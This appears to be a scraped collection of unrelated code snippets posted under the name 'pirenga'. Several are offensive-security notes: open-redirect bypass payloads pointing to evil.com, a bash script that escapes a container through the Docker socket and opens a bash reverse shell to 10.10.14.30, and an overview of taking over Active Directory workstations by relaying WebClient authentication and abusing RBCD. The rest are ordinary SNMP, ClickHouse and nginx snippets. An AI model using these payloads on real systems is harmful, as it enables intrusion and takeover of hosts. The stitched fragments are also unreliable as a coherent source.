pirenga

Microsoft Windows and Office KMS Setup

pirenga

rss.php
coupon_activation.php
tools/bizproc_wf_settings.php
tools/seo_yandex.php
tools/seo_google.php
tools/get_catalog_menu.php
tools/sale_farm_check_print.php
tools/vote/uf.php
tools/vote/vote_chart.php

pirenga

Open redirect bypasses

• Simply try to change the domain

  Example: ?redirect=https://example.com --> ?redirect=https://evil.com

• Bypass the filter when protocol is blacklisted using //

  Example: ?redirect=https://example.com --> ?redirect=//evil.com

pirenga

#!/bin/bash

# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"

pirenga

#!/bin/bash

apt-get remove --purge snmpd
apt-get install snmpd
apt-get install snmp-mibs-downloader
sed -i "s|-Lsd|-LS4d|" /etc/default/snmpd
sed -i "s|-Lsd|-LS4d|" /lib/systemd/system/snmpd.service
systemctl daemon-reload
service snmpd restart

pirenga

Kerio Connect - Stack Buffer Overflow in 2FASetup

pirenga

SELECT table,
    formatReadableSize(sum(bytes)) as size,
    min(min_date) as min_date,
    max(max_date) as max_date
    FROM system.parts
    WHERE active
GROUP BY table

pirenga

#!/bin/bash

OUTDIR=.

while read -r db ; do
  while read -r table ; do

  if [ "$db" == "system" ]; then
     echo "skip system db"
     continue 2;

pirenga

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

pirenga

upstream redash {
  server redash:5000;
}

server {
  listen 80;

  location / {
    return 301 https://$host$request_uri;
  }